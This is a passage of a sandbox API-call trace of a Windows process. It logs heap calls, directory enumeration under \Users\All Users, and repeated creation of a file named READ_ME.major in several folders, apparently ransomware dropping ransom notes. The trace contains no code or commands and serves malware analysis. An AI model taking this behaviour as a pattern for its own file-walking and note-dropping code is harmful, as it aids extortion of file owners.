dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0144.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc990 | out: hHeap=0x570000) returned 1 [0144.369] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Documents\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150ba6e4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x150ba6e4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x150ba6e4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0xffffffff [0144.369] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0144.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0144.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0144.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc38 | out: hHeap=0x570000) returned 1 [0144.369] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Microsoft OneDrive\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x150e092f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60ece8 [0144.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0144.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0144.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0144.370] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0144.370] GetLastError () returned 0x5 [0144.370] SetLastError (dwErrCode=0x5) [0144.370] GetLastError () returned 0x5 [0144.370] SetLastError (dwErrCode=0x5) [0144.370] GetLastError () returned 0x5 [0144.370] SetLastError (dwErrCode=0x5) [0144.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0144.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bf028 [0144.370] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0144.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0144.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60efa8 [0144.370] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60efa8 | out: hHeap=0x570000) returned 1 [0144.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404e0 [0144.370] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404e0 | out: hHeap=0x570000) returned 1 [0144.370] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0144.370] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea50 | out: hHeap=0x570000) returned 1 [0144.370] FindNextFileW (in: hFindFile=0x60ece8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x150e092f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0144.370] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0144.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0144.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0144.370] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0144.370] GetLastError () returned 0x5 [0144.370] SetLastError (dwErrCode=0x5) [0144.370] GetLastError () returned 0x5 [0144.370] SetLastError (dwErrCode=0x5) [0144.370] GetLastError () returned 0x5 [0144.371] SetLastError (dwErrCode=0x5) [0144.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed28 [0144.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0144.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0144.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0144.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60ea68 [0144.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60ea68 | out: hHeap=0x570000) returned 1 [0144.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40420 [0144.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40420 | out: hHeap=0x570000) returned 1 [0144.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0144.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed28 | out: hHeap=0x570000) returned 1 [0144.371] FindNextFileW (in: hFindFile=0x60ece8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x150e092f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x150e092f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x150e092f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0144.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0144.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0144.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0144.372] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0144.372] GetLastError () returned 0x5 [0144.372] SetLastError (dwErrCode=0x5) [0144.372] GetLastError () returned 0x5 [0144.372] SetLastError (dwErrCode=0x5) [0144.372] GetLastError () returned 0x5 [0144.372] SetLastError (dwErrCode=0x5) [0144.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1270 [0144.372] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1270 | out: hHeap=0x570000) returned 1 [0144.372] FindNextFileW (in: hFindFile=0x60ece8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="setup", cAlternateFileName="")) returned 1 [0144.372] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0144.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0144.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0144.372] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0144.372] GetLastError () returned 0x5 [0144.372] SetLastError (dwErrCode=0x5) [0144.372] GetLastError () returned 0x5 [0144.372] SetLastError (dwErrCode=0x5) [0144.372] GetLastError () returned 0x5 [0144.372] SetLastError (dwErrCode=0x5) [0144.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6300 [0144.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1130 [0144.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0144.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0144.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d390 [0144.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0144.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0144.372] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0144.372] GetLastError () returned 0x5 [0144.372] SetLastError (dwErrCode=0x5) [0144.372] GetLastError () returned 0x5 [0144.372] SetLastError (dwErrCode=0x5) [0144.372] GetLastError () returned 0x5 [0144.372] SetLastError (dwErrCode=0x5) [0144.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0144.372] CreateFileW (lpFileName="\\Users\\All Users\\Microsoft OneDrive\\setup\\READ_ME.major" (normalized: "c:\\users\\all users\\microsoft onedrive\\setup\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b4 [0144.373] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0144.373] WriteFile (in: hFile=0x5b4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.373] CloseHandle (hObject=0x5b4) returned 1 [0144.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0144.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d390 | out: hHeap=0x570000) returned 1 [0144.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0144.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0144.374] FindNextFileW (in: hFindFile=0x60ece8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="setup", cAlternateFileName="")) returned 0 [0144.374] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0144.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0144.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eaf8 | out: hHeap=0x570000) returned 1 [0144.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb20 | out: hHeap=0x570000) returned 1 [0144.374] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Oracle\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x150e092f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60ed68 [0144.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0144.374] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0144.374] GetLastError () returned 0x12 [0144.374] SetLastError (dwErrCode=0x12) [0144.374] GetLastError () returned 0x12 [0144.374] SetLastError (dwErrCode=0x12) [0144.374] GetLastError () returned 0x12 [0144.374] SetLastError (dwErrCode=0x12) [0144.374] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0144.374] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0144.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0144.374] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1108 [0144.374] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60eba8 [0144.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60eba8 | out: hHeap=0x570000) returned 1 [0144.374] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40420 [0144.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40420 | out: hHeap=0x570000) returned 1 [0144.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1108 | out: hHeap=0x570000) returned 1 [0144.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0144.374] FindNextFileW (in: hFindFile=0x60ed68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x150e092f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0144.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0144.375] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0144.375] GetLastError () returned 0x12 [0144.375] SetLastError (dwErrCode=0x12) [0144.375] GetLastError () returned 0x12 [0144.375] SetLastError (dwErrCode=0x12) [0144.375] GetLastError () returned 0x12 [0144.375] SetLastError (dwErrCode=0x12) [0144.375] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0144.375] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0144.375] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0144.375] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1090 [0144.375] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60ef28 [0144.375] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60ef28 | out: hHeap=0x570000) returned 1 [0144.375] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0144.375] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0144.375] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1090 | out: hHeap=0x570000) returned 1 [0144.375] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea50 | out: hHeap=0x570000) returned 1 [0144.375] FindNextFileW (in: hFindFile=0x60ed68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Java", cAlternateFileName="")) returned 1 [0144.375] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0144.375] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0144.375] GetLastError () returned 0x12 [0144.375] SetLastError (dwErrCode=0x12) [0144.375] GetLastError () returned 0x12 [0144.375] SetLastError (dwErrCode=0x12) [0144.375] GetLastError () returned 0x12 [0144.375] SetLastError (dwErrCode=0x12) [0144.375] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0144.375] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0144.375] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0144.375] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0144.375] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1c0 [0144.375] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0144.375] GetLastError () returned 0x12 [0144.375] SetLastError (dwErrCode=0x12) [0144.375] GetLastError () returned 0x12 [0144.376] SetLastError (dwErrCode=0x12) [0144.376] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0144.376] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0144.376] GetLastError () returned 0x12 [0144.376] SetLastError (dwErrCode=0x12) [0144.376] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0144.376] CreateFileW (lpFileName="\\Users\\All Users\\Oracle\\Java\\READ_ME.major" (normalized: "c:\\users\\all users\\oracle\\java\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b8 [0144.377] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0144.377] WriteFile (in: hFile=0x5b8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.378] CloseHandle (hObject=0x5b8) returned 1 [0144.378] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0144.378] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0144.378] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0144.378] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0144.378] FindNextFileW (in: hFindFile=0x60ed68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x150e092f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x150e092f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x150e092f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0144.378] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0144.378] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0144.378] GetLastError () returned 0x0 [0144.378] SetLastError (dwErrCode=0x0) [0144.378] GetLastError () returned 0x0 [0144.378] SetLastError (dwErrCode=0x0) [0144.378] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0144.378] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0144.378] GetLastError () returned 0x0 [0144.378] SetLastError (dwErrCode=0x0) [0144.378] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1090 [0144.378] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1090 | out: hHeap=0x570000) returned 1 [0144.378] FindNextFileW (in: hFindFile=0x60ed68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x150e092f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x150e092f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x150e092f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0144.378] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0144.378] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0144.378] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0144.378] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccb0 | out: hHeap=0x570000) returned 1 [0144.378] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x150e092f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60ef68 [0144.379] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0144.379] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0144.379] GetLastError () returned 0x12 [0144.379] SetLastError (dwErrCode=0x12) [0144.379] GetLastError () returned 0x12 [0144.379] SetLastError (dwErrCode=0x12) [0144.379] GetLastError () returned 0x12 [0144.379] SetLastError (dwErrCode=0x12) [0144.379] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0144.379] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bf028 [0144.379] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0144.379] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1090 [0144.379] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60ea68 [0144.379] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60ea68 | out: hHeap=0x570000) returned 1 [0144.379] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405d0 [0144.379] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405d0 | out: hHeap=0x570000) returned 1 [0144.379] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1090 | out: hHeap=0x570000) returned 1 [0144.379] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0144.379] FindNextFileW (in: hFindFile=0x60ef68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x150e092f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0144.380] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0144.380] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0144.380] GetLastError () returned 0x12 [0144.380] SetLastError (dwErrCode=0x12) [0144.380] GetLastError () returned 0x12 [0144.380] SetLastError (dwErrCode=0x12) [0144.380] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0144.380] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0144.380] GetLastError () returned 0x12 [0144.380] SetLastError (dwErrCode=0x12) [0144.380] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef58 [0144.380] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bef20 [0144.380] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0144.380] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1270 [0144.380] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60eba8 [0144.380] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60eba8 | out: hHeap=0x570000) returned 1 [0144.380] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404e0 [0144.380] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404e0 | out: hHeap=0x570000) returned 1 [0144.380] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1270 | out: hHeap=0x570000) returned 1 [0144.380] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef58 | out: hHeap=0x570000) returned 1 [0144.380] FindNextFileW (in: hFindFile=0x60ef68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x150e092f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x150e092f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x150e092f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", 